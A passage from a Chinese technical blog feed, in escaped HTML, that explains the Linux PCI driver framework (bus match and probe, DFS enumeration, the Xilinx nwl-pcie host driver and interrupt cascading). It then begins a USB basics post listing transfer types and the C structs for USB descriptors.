&lt;p&gt;　　如果对具体的硬件缺乏了解，建议先阅读上篇文章《Linux PCI驱动框架分析（一）》；&lt;&#x2F;p&gt;
&lt;p&gt;　　话不多说，直接开始。&lt;&#x2F;p&gt;
&lt;p&gt;　　&lt;strong&gt;2. 数据结构&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pci-topology-data-structures.png&quot; alt=&quot;微信截图_20221129154240.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　PCI体系结构的拓扑关系如图所示，而图中的不同数据结构就是用于来描述对应的模块；&lt;&#x2F;p&gt;
&lt;p&gt;　　Host Bridge连接CPU和PCI系统，由struct pci_host_bridge描述；&lt;&#x2F;p&gt;
&lt;p&gt;　　struct pci_dev描述PCI设备，以及PCI-to-PCI桥设备；&lt;&#x2F;p&gt;
&lt;p&gt;　　struct pci_bus用于描述PCI总线，struct pci_slot用于描述总线上的物理插槽；&lt;&#x2F;p&gt;
&lt;p&gt;　　来一张更详细的结构体组织图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pci-data-structure-organization.png&quot; alt=&quot;微信截图_20221129154617.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　总体来看，数据结构对硬件模块进行了抽象，数据结构之间也能很便捷的构建一个类似PCI子系统物理拓扑的关系图；&lt;&#x2F;p&gt;
&lt;p&gt;　　顶层的结构为pci_host_bridge，这个结构一般由Host驱动负责来初始化创建；&lt;&#x2F;p&gt;
&lt;p&gt;　　pci_host_bridge指向root bus，也就是编号为0的总线，在该总线下，可以挂接各种外设或物理slot，也可以通过PCI桥去扩展总线；&lt;&#x2F;p&gt;
&lt;p&gt;　　&lt;strong&gt;3. 流程分析&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;**　　3.1 设备驱动模型**&lt;&#x2F;p&gt;
&lt;p&gt;　　Linux PCI驱动框架，基于Linux设备驱动模型，因此有必要先简要介绍一下，实际上Linux设备驱动模型也是一个大的topic，先挖个坑，有空再来填。来张图吧：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;linux-device-driver-model.png&quot; alt=&quot;微信截图_20221129154827.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　简单来说，Linux内核建立了一个统一的设备模型，分别采用总线、设备、驱动三者进行抽象，其中设备与驱动都挂在总线上，当有新的设备注册或者新的驱动注册时，总线会去进行匹配操作（match函数），当发现驱动与设备能进行匹配时，就会执行probe函数的操作；&lt;&#x2F;p&gt;
&lt;p&gt;　　从数据结构中可以看出，bus_type会维护两个链表，分别用于挂接向其注册的设备和驱动，而match函数就负责匹配检测；&lt;&#x2F;p&gt;
&lt;p&gt;　　各类驱动框架也都是基于图中的机制来实现，在这之上进行封装，比如I2C总线框架等；&lt;&#x2F;p&gt;
&lt;p&gt;　　设备驱动模型中，包含了很多kset&#x2F;kobject等内容，建议去看看之前的文章《linux设备模型之kset&#x2F;kobj&#x2F;ktype分析》&lt;&#x2F;p&gt;
&lt;p&gt;　　好了，点到为止，感觉要跑题了，强行拉回来。&lt;&#x2F;p&gt;
&lt;p&gt;　**　3.2 初始化**&lt;&#x2F;p&gt;
&lt;p&gt;　　既然说到了设备驱动模型，那么首先我们要做的事情，就是先在内核里边创建一个PCI总线，用于挂接PCI设备和PCI驱动，我们的实现来到了pci_driver_init()函数：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pci-bus-driver-init-flow.png&quot; alt=&quot;微信截图_20221129154919.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　内核在PCI框架初始化时会调用pci_driver_init()来创建一个PCI总线结构（全局变量pci_bus_type），这里描述的PCI总线结构，是指驱动匹配模型中的概念，PCI的设备和驱动都会挂在该PCI总线上；&lt;&#x2F;p&gt;
&lt;p&gt;　　从pci_bus_type的函数操作接口也能看出来，pci_bus_match用来检查设备与驱动是否匹配，一旦匹配了就会调用pci_device_probe函数，下边针对这两个函数稍加介绍；&lt;&#x2F;p&gt;
&lt;p&gt;　**　3.2.1 pci_bus_match**&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pci-bus-match-flow.png&quot; alt=&quot;微信截图_20221129160803.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　设备或者驱动注册后，触发pci_bus_match函数的调用，实际会去比对vendor和device等信息，这个都是厂家固化的，在驱动中设置成PCI_ANY_ID就能支持所有设备；&lt;&#x2F;p&gt;
&lt;p&gt;　　一旦匹配成功后，就会去触发pci_device_probe的执行；&lt;&#x2F;p&gt;
&lt;p&gt;　**　3.2.2 pci_device_probe**&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pcie-device-probe-flow.png&quot; alt=&quot;微信截图_20221129160818.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　实际的过程也是比较简单，无非就是进行匹配，一旦匹配上了，直接调用驱动程序的probe函数，写过驱动的同学应该就比较清楚后边的流程了；&lt;&#x2F;p&gt;
&lt;p&gt;　　&lt;strong&gt;3.3 枚举&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　我们还是顺着设备驱动匹配的思路继续开展；&lt;&#x2F;p&gt;
&lt;p&gt;　　3.2节描述的是总线的创建，那么本节中的枚举，显然就是设备的创建了；&lt;&#x2F;p&gt;
&lt;p&gt;　　所谓设备的创建，就是在Linux内核中维护一些数据结构来对硬件设备进行描述，而硬件的描述又跟上文中的数据结构能对应上；&lt;&#x2F;p&gt;
&lt;p&gt;　　枚举的入口函数：pci_host_probe&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pcie-enum-pci-host-probe.png&quot; alt=&quot;微信截图_20221129160901.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　设备的扫描从pci_scan_root_bus_bridge开始，首先需要先向系统注册一个host bridge，在注册的过程中需要创建一个root bus，也就是bus 0，在pci_register_host_bridge函数中，主要是一系列的初始化和注册工作，此外还为总线分配资源，包括地址空间等；&lt;&#x2F;p&gt;
&lt;p&gt;　　pci_scan_child_bus开始，从bus 0向下扫描并添加设备，这个过程由pci_scan_child_bus_extend来完成；&lt;&#x2F;p&gt;
&lt;p&gt;　　从pci_scan_child_bus_extend的流程可以看出，主要有两大块：&lt;&#x2F;p&gt;
&lt;p&gt;　　PCI设备扫描，从循环也能看出来，每条总线支持32个设备，每个设备支持8个功能，扫描完设备后将设备注册进系统，pci_scan_device的过程中会去读取PCI设备的配置空间，获取到BAR的相关信息，细节不表了；&lt;&#x2F;p&gt;
&lt;p&gt;　　PCI桥设备扫描，PCI桥是用于连接上一级PCI总线和下一级PCI总线的，当发现有下一级总线时，创建子结构，并再次调用pci_scan_child_bus_extend的函数来扫描下一级的总线，从这个过程看，就是一个递归过程。&lt;&#x2F;p&gt;
&lt;p&gt;　　从设备的扫描过程看，这是一个典型的DFS（Depth First Search）过程，熟悉数据结构与算法的同学应该清楚，这就类似典型的走迷宫的过程；&lt;&#x2F;p&gt;
&lt;p&gt;　　如果你对上述的流程还不清楚，再来一张图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pci-bus-enumeration-dfs.png&quot; alt=&quot;微信截图_20221129160920.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　图中的数字代表的就是扫描的过程，当遍历到PCI桥设备的时候，会一直穷究到底，然后再返回来；&lt;&#x2F;p&gt;
&lt;p&gt;　　当枚举过程结束后，系统中就已经维护了PCI设备的各类信息了，在设备驱动匹配模型中，总线和设备都已经具备了，剩下的就是写个驱动了；&lt;&#x2F;p&gt;
&lt;p&gt;　　暂且写这么多，细节方面不再赘述了，把握大体的框架即可，无法扼住PCI的咽喉，那就扼住它的骨架吧。&lt;&#x2F;p&gt;
&lt;p&gt;**　　Linux PCI驱动框架分析（三）**&lt;&#x2F;p&gt;
&lt;p&gt;**　　1. 概述**&lt;&#x2F;p&gt;
&lt;p&gt;　　先回顾一下PCIe的架构图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pcie-architecture-root-complex.png&quot; alt=&quot;微信截图_20221129161207.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　本文将讲PCIe Host的驱动，对应为Root Complex部分，相当于PCI的Host Bridge部分；&lt;&#x2F;p&gt;
&lt;p&gt;　　本文会选择Xilinx的nwl-pcie来进行分析；&lt;&#x2F;p&gt;
&lt;p&gt;　　驱动的编写整体偏简单，往现有的框架上套就可以了，因此不会花太多笔墨，点到为止；&lt;&#x2F;p&gt;
&lt;p&gt;**　　2. 流程分析**&lt;&#x2F;p&gt;
&lt;p&gt;　　但凡涉及到驱动的分析，都离不开驱动模型的介绍，驱动模型的实现让具体的驱动开发变得更容易；&lt;&#x2F;p&gt;
&lt;p&gt;　　所以，还是回顾一下上篇文章提到的驱动模型：Linux内核建立了一个统一的设备模型，分别采用总线、设备、驱动三者进行抽象，其中设备与驱动都挂在总线上，当有新的设备注册或者新的驱动注册时，总线会去进行匹配操作（match函数），当发现驱动与设备能进行匹配时，就会执行probe函数的操作；&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pcie-platform-driver-match-model.png&quot; alt=&quot;微信截图_20221129161222.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　《Linux PCI驱动框架分析（二）》中提到过PCI设备、PCI总线和PCI驱动的创建，PCI设备和PCI驱动挂接在PCI总线上，这个理解很直观。针对PCIe的控制器来说，同样遵循设备、总线、驱动的匹配模型，不过这里的总线是由虚拟总线platform总线来替代，相应的设备和驱动分别为platform_device和platform_driver；&lt;&#x2F;p&gt;
&lt;p&gt;　　那么问题来了，platform_device是在什么时候创建的呢？那就不得不提到Device Tree设备树了。&lt;&#x2F;p&gt;
&lt;p&gt;　　&lt;strong&gt;2.1 Device Tree&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　设备树用于描述硬件的信息，包含节点各类属性，在dts文件中定义，最终会被编译成dtb文件加载到内存中；&lt;&#x2F;p&gt;
&lt;p&gt;　　内核会在启动过程中去解析dtb文件，解析成device_node描述的Device Tree；&lt;&#x2F;p&gt;
&lt;p&gt;　　根据device_node节点，创建platform_device结构，并最终注册进系统，这个也就是PCIe Host设备的创建过程；&lt;&#x2F;p&gt;
&lt;p&gt;　　我们看看PCIe Host的设备树内容：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pcie-host-device-tree.png&quot; alt=&quot;微信截图_20221129161252.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　关键字段描述如下：&lt;&#x2F;p&gt;
&lt;p&gt;　　compatible：用于匹配PCIe Host驱动；&lt;&#x2F;p&gt;
&lt;p&gt;　　msi-controller：表示是一个MSI（Message Signaled Interrupt）控制器节点，这里需要注意的是，有的SoC中断控制器使用的是GICv2版本，而GICv2并不支持MSI，所以会导致该功能的缺失；&lt;&#x2F;p&gt;
&lt;p&gt;　　device-type：必须是&quot;pci&quot;；&lt;&#x2F;p&gt;
&lt;p&gt;　　interrupts：包含NWL PCIe控制器的中断号；&lt;&#x2F;p&gt;
&lt;p&gt;　　interrupts-name：msi1, msi0用于MSI中断，intx用于旧式中断，与interrupts中的中断号对应；&lt;&#x2F;p&gt;
&lt;p&gt;　　reg：包含用于访问PCIe控制器操作的寄存器物理地址和大小；&lt;&#x2F;p&gt;
&lt;p&gt;　　reg-name：分别表示Bridge registers，PCIe Controller registers， Configuration space region，与reg中的值对应；&lt;&#x2F;p&gt;
&lt;p&gt;　　ranges：PCIe地址空间转换到CPU的地址空间中的范围；&lt;&#x2F;p&gt;
&lt;p&gt;　　bus-range：PCIe总线的起始范围；&lt;&#x2F;p&gt;
&lt;p&gt;　　interrupt-map-mask和interrupt-map：标准PCI属性，用于定义PCI接口到中断号的映射；&lt;&#x2F;p&gt;
&lt;p&gt;　　legacy-interrupt-controller：旧式的中断控制器；&lt;&#x2F;p&gt;
&lt;p&gt;**　　2.2 probe流程**&lt;&#x2F;p&gt;
&lt;p&gt;　　系统会根据dtb文件创建对应的platform_device并进行注册；&lt;&#x2F;p&gt;
&lt;p&gt;　　当驱动与设备通过compatible字段匹配上后，会调用probe函数，也就是nwl_pcie_probe；&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pcie-probe-flow.png&quot; alt=&quot;微信截图_20221129161411.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　通常probe函数都是进行一些初始化操作和注册操作：&lt;&#x2F;p&gt;
&lt;p&gt;　　初始化包括：数据结构的初始化以及设备的初始化等，设备的初始化则需要获取硬件的信息（比如寄存器基地址，长度，中断号等），这些信息都从DTS而来；&lt;&#x2F;p&gt;
&lt;p&gt;　　注册操作主要是包含中断处理函数的注册，以及通常的设备文件注册等;&lt;&#x2F;p&gt;
&lt;p&gt;　　针对PCI控制器的驱动，核心的流程是需要分配并初始化一个pci_host_bridge结构，最终通过这个bridge去枚举PCI总线上的所有设备；&lt;&#x2F;p&gt;
&lt;p&gt;　　devm_pci_alloc_host_bridge：分配并初始化一个基础的pci_hsot_bridge结构；&lt;&#x2F;p&gt;
&lt;p&gt;　　nwl_pcie_parse_dt：获取DTS中的寄存器信息及中断信息，并通过irq_set_chained_handler_and_data设置intx中断号对应的中断处理函数，该处理函数用于中断的级联；&lt;&#x2F;p&gt;
&lt;p&gt;　　nwl_pcie_bridge_init：硬件的Controller一堆设置，这部分需要去查阅Spec，了解硬件工作的细节。此外，通过devm_request_irq注册misc中断号对应的中断处理函数，该处理函数用于控制器自身状态的处理；&lt;&#x2F;p&gt;
&lt;p&gt;　　pci_parse_request_of_pci_ranges：用于解析PCI总线的总线范围和总线上的地址范围，也就是CPU能看到的地址区域；&lt;&#x2F;p&gt;
&lt;p&gt;　　nwl_pcie_init_irq_domain和mwl_pcie_enable_msi与中断级联相关，下个小节介绍；&lt;&#x2F;p&gt;
&lt;p&gt;　　pci_scan_root_bus_bridge：对总线上的设备进行扫描枚举，这个流程在Linux PCI驱动框架分析（二）中分析过。brdige结构体中的pci_ops字段，用于指向PCI的读写操作函数集，当具体扫描到设备要读写配置空间时，调用的就是这个函数，由具体的Controller驱动实现；&lt;&#x2F;p&gt;
&lt;p&gt;　**　2.3 中断处理**&lt;&#x2F;p&gt;
&lt;p&gt;　　PCIe控制器，通过PCIe总线连接各种设备，因此它本身充当一个中断控制器，级联到上一层的中断控制器（比如GIC），如下图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pcie-interrupt-gic-cascade.png&quot; alt=&quot;微信截图_20221129161436.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　PCIe总线支持两种中断的处理方式：&lt;&#x2F;p&gt;
&lt;p&gt;　　Legacy Interrupt：总线提供INTA#, INTB#, INTC#, INTD#四根中断信号，PCI设备借助这四根信号使用电平触发方式提交中断请求；&lt;&#x2F;p&gt;
&lt;p&gt;　　MSI(Message Signaled Interrupt) Interrupt：基于消息机制的中断，也就是往一个指定地址写入特定消息，从而触发一个中断；&lt;&#x2F;p&gt;
&lt;p&gt;　　针对两种处理方式，NWL PCIe驱动中，实现了两个irq_chip，也就是两种方式的中断控制器：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pcie-legacy-msi-irq-chip.png&quot; alt=&quot;微信截图_20221129161453.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　irq_domain对应一个中断控制器（irq_chip），irq_domain负责将硬件中断号映射到虚拟中断号上；&lt;&#x2F;p&gt;
&lt;p&gt;　　来一张旧图吧，具体文章可以去参考中断子系统相关文章；&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;irq-domain-mapping.png&quot; alt=&quot;微信截图_20221129161825.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　在该函数中主要完成的工作就是设置级联的中断处理函数，级联的中断处理函数中最终会去调用具体的设备的中断处理函数；&lt;&#x2F;p&gt;
&lt;p&gt;　　所以，稍微汇总一下，作为两种不同的中断处理方式，套路都是一样的，都是创建irq_chip中断控制器，为该中断控制器添加irq_domain，具体设备的中断响应流程如下：&lt;&#x2F;p&gt;
&lt;p&gt;　　设备连接在PCI总线上，触发中断时，通过PCIe控制器充当的中断控制器路由到上一级控制器，最终路由到CPU；&lt;&#x2F;p&gt;
&lt;p&gt;　　CPU在处理PCIe控制器的中断时，调用它的中断处理函数，也就是上文中提到过的nwl_pcie_leg_handler，nwl_pcie_msi_handler_high，和nwl_pcie_leg_handler_low；&lt;&#x2F;p&gt;
&lt;p&gt;　　在级联的中断处理函数中，调用chained_irq_enter进入中断级联处理；&lt;&#x2F;p&gt;
&lt;p&gt;　　调用irq_find_mapping找到具体的PCIe设备的中断号；&lt;&#x2F;p&gt;
&lt;p&gt;　　调用generic_handle_irq触发具体的PCIe设备的中断处理函数执行；&lt;&#x2F;p&gt;
&lt;p&gt;　　调用chained_irq_exit退出中断级联的处理；&lt;&#x2F;p&gt;
&lt;p&gt;**　　2.4 总结**&lt;&#x2F;p&gt;
&lt;p&gt;　　PCIe控制器驱动，各家的IP实现不一样，驱动的差异可能会很大，单独分析一个驱动毕竟只是个例，应该去掌握背后的通用框架；&lt;&#x2F;p&gt;
&lt;p&gt;　　各类驱动，大体都是硬件初始化配置，资源申请注册，核心是处理与硬件的交互（一般就是中断的处理），如果需要用户来交互的，则还需要注册设备文件，实现一堆file_operation操作函数集；&lt;&#x2F;p&gt;
&lt;p&gt;　　好吧，我个人不太喜欢分析某个驱动，草草收场了；&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux USB 基础概念与协议简介</title>
        <published>2025-01-12T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux-usb-基础概念与协议简介/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux-usb-基础概念与协议简介/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux-usb-基础概念与协议简介/">&lt;h1 id=&quot;linux-usb-ji-chu-gai-nian-yu-xie-yi-jian-jie&quot;&gt;Linux USB 基础概念与协议简介&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;yin-yan&quot;&gt;引言&lt;&#x2F;h2&gt;
&lt;p&gt;  因需将搭载Linux系统的开发板作为USB从设备（虚拟串口）使用，故在利用Linux 内核中Gadget驱动设备之前，普及USB的基础概念显得十分必要。此外，USB设备驱动开发过程中，也因借助BUS Hound工具对USB设备进行抓包处理，分析USB设备的接收到的协议帧。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ji-chu-gai-nian&quot;&gt;基础概念&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;USB是主从结构：
  a. 所有的USB传输，都是从USB主机这方发起；
  b. USB设备没有&quot;主动&quot;通知USB主机的能力。
例子：USB鼠标滑动一下立刻产生数据，但是它没有能力通知PC机来读数据，只能被动地等得PC机来读。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;USB四种传输类型：
  a. 控制传输：可靠，时间有保证，比如：USB设备的识别过程
  b. 批量传输: 可靠, 时间没有保证, 比如：U盘
  c. 中断传输：可靠，实时，比如：USB鼠标
  d. 实时传输：不可靠，实时，比如：USB摄像头&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;USB传输的对象：&lt;strong&gt;端点(endpoint)&lt;&#x2F;strong&gt;
  a. 我们说&quot;读U盘&quot;、“写U盘”，可以细化为：把数据写到U盘的端点1，从U盘的端点2里读出数据
  b. &lt;strong&gt;除了端点0外，每一个端点只支持一个方向的数据传输；&lt;&#x2F;strong&gt;
  c. &lt;strong&gt;端点0用于控制传输，既能输出也能输入；&lt;&#x2F;strong&gt;
  d. &lt;strong&gt;每一个端点都有传输类型，传输方向;&lt;&#x2F;strong&gt;
  e. &lt;strong&gt;端点是USB设备通信的基本单位，所有通信都是从端点发起的。&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;程序里说的输入(IN)、输出(OUT)，  &lt;strong&gt;“都是” 基于USB主机的立场说的。&lt;&#x2F;strong&gt;
例子：比如鼠标的数据是从鼠标传到PC机, 对应的端点称为&quot;输入端点&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;ol start=&quot;5&quot;&gt;
&lt;li&gt;按USB协议栈的层次划分：
  a. 一个Host可能有一个或者多个Device；
  b. 一个Device可能有一个或者多个Interface；
  c. 一个Interface可能有一个或者多个Endpoint。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;ol start=&quot;6&quot;&gt;
&lt;li&gt;主要USB 控制器标准：
  a. OHCI（Open Host Controller Interface）
  b. UHCI（Universal Host Controller Interface）
  c. EHCI（ Enhanced Host Controller Interface）
d. xHCI（eXtensible Host Controller Interface）,xHCI 支持所有速度种类的 USB 设备，xHCI 出现的目的就是为了替换前面三个。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;xie-yi-jian-jie&quot;&gt;协议简介&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;USB驱动开发常见的五大结构体：
  ①、设备描述符用于描述 USB 设备的一般信息,USB 设备只有一个设备描述符。设备描述符里面记录了设备的 USB 版本号、设备类型、&lt;strong&gt;VID(厂商 ID)、PID(产品 ID)&lt;&#x2F;strong&gt; 、设备序列号等。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;struct usb_device_descriptor {
  			__u8  bLength;						&amp;#x2F;&amp;#x2F;  此设备描述符长度,18 个字节
  			__u8  bDescriptorType;				&amp;#x2F;&amp;#x2F; 描述符类型,为 0X01
  			__u16 bcdUSB;						&amp;#x2F;&amp;#x2F; USB 版本号,BCD 码
  			__u8  bDeviceClass;					&amp;#x2F;&amp;#x2F; 设备类
  			__u8  bDeviceSubClass;				&amp;#x2F;&amp;#x2F; 设备子类
  			__u8  bDeviceProtocol;				&amp;#x2F;&amp;#x2F; 设备协议
  			__u8  bMaxPacketSize0;				&amp;#x2F;&amp;#x2F; 端点 0 的最大包长度
  			__u16 idVendor;						&amp;#x2F;&amp;#x2F; 厂商 ID
  			__u16 idProduct;					&amp;#x2F;&amp;#x2F; 产品 ID
  			__u16 bcdDevice;					&amp;#x2F;&amp;#x2F; 设备版本号
  			__u8  iManufacturer;				&amp;#x2F;&amp;#x2F; 厂商信息字符串描述符索引值
  			__u8  iProduct;						&amp;#x2F;&amp;#x2F; 产品信息字符串描述符索引值
  			__u8  iSerialNumber;				&amp;#x2F;&amp;#x2F; 产品序列号字符串描述符索引值
  			__u8  bNumConfigurations;			&amp;#x2F;&amp;#x2F; 可能的配置描述符数目
} __attribute__ ((packed));
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;  ②、设备描述符的 bNumConfigurations 域定义了一个 USB 设备的配置描述符数量,&lt;strong&gt;一个 USB设备至少有一个配置描述符&lt;&#x2F;strong&gt;。配置描述符描述了设备可提供的接口(Interface)数量、配置编号、供电信息等。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;struct usb_config_descriptor {
  			__u8  bLength;						&amp;#x2F;&amp;#x2F; 此配置描述符长度,9 个字节
  			__u8  bDescriptorType;				&amp;#x2F;&amp;#x2F; 配置描述符类型,为 0X02

  			__le16 wTotalLength;				&amp;#x2F;&amp;#x2F; 整个配置信息总长度(包括配置、接口、端点、设备类和厂家定义的描述符)
  			__u8  bNumInterfaces;				&amp;#x2F;&amp;#x2F; 此配置所支持的接口数
  			__u8  bConfigurationValue;			&amp;#x2F;&amp;#x2F; 该配置的值,一个设备支持多种配置,通过配置值来区分不同的配置。
  			__u8  iConfiguration;				&amp;#x2F;&amp;#x2F; 描述此配置的字符串描述索引
  			__u8  bmAttributes;					&amp;#x2F;&amp;#x2F; 该设备的属性:	D7:保留	D6:自给电源	D5:远程唤醒	D4:0:保留
  			__u8  bMaxPower;					&amp;#x2F;&amp;#x2F; 此配置下所需的总线电流(单位 2mA)
} __attribute__ ((packed));
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;  ③、字符串描述符是&lt;strong&gt;可选的&lt;&#x2F;strong&gt;,字符串描述符用于描述一些方便人们阅读的信息,比如制造商、设备名称啥的。如果一个设备没有字符串描述符,那么其他描述符中和字符串有关的索引值都必须为 0。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;struct usb_string_descriptor {
  			__u8  bLength;						&amp;#x2F;&amp;#x2F; 此字符串描述符长度
  			__u8  bDescriptorType;				&amp;#x2F;&amp;#x2F; 字符串描述符类型,为 0X03

  			__le16 wData[1];					&amp;#x2F;* UTF-16LE encoded *&amp;#x2F;
} __attribute__ ((packed));
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;  ④、配置描述符中指定了该配置下的接口数量,&lt;strong&gt;配置可以提供一个或多个接口&lt;&#x2F;strong&gt;,接口描述符用于描述接口属性。接口描述符中一般记录接口编号、接口对应的端点数量、接口所述的类等。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;struct usb_interface_descriptor {
			__u8  bLength;						&amp;#x2F;&amp;#x2F; 此接口描述符长度,9 个字节
			__u8  bDescriptorType;				&amp;#x2F;&amp;#x2F; 描述符类型,为 0X04

			__u8  bInterfaceNumber;				&amp;#x2F;&amp;#x2F; 当前接口编号,从 0 开始
			__u8  bAlternateSetting;			&amp;#x2F;&amp;#x2F; 当前接口备用编号
			__u8  bNumEndpoints;				&amp;#x2F;&amp;#x2F; 当前接口的端点数量
			__u8  bInterfaceClass;				&amp;#x2F;&amp;#x2F; 当前接口所属的类
			__u8  bInterfaceSubClass;			&amp;#x2F;&amp;#x2F; 当前接口所属的子类
			__u8  bInterfaceProtocol;			&amp;#x2F;&amp;#x2F; 当前接口所使用的协议
			__u8  iInterface;					&amp;#x2F;&amp;#x2F; 当前接口字符串的索引值
} __attribute__ ((packed));
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;  ⑤、接口描述符定义了其端点数量,端点是设备与主机之间进行数据传输的逻辑接口,&lt;strong&gt;除了端点 0 是双向端口,其他的端口都是单向的&lt;&#x2F;strong&gt;。端点描述符描述了树传输类型、方向、数据包大小、端点号等信息。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;struct usb_endpoint_descriptor {
			__u8  bLength;						&amp;#x2F;&amp;#x2F; 此端点描述符长度,7 个字节
			__u8  bDescriptorType;				&amp;#x2F;&amp;#x2F; 描述符类型,为 0X05

			__u8  bEndpointAddress;				&amp;#x2F;&amp;#x2F; 端点地址和方向:		bit3:0:端点号		bit6:4:保留,为零。		bit7:方向,0 输出端点(主机到设备),1 输入端点(设备到主机)
			__u8  bmAttributes;					&amp;#x2F;&amp;#x2F; 端点属性,bit1:0 表示传输类型:		00:控制传输		01:同步传输		10:批量传输		11:中断传输		其他位保留
			__le16 wMaxPacketSize;				&amp;#x2F;&amp;#x2F; 端点能发送或接收的最大数据包长度
			__u8  bInterval;					&amp;#x2F;&amp;#x2F; 端点数据传输中周期时间间隙值,此域对于批量传输和控制传输无效,同步传输的话此域必须为 1ms,中断传输此域可以设置 1ms~255ms。

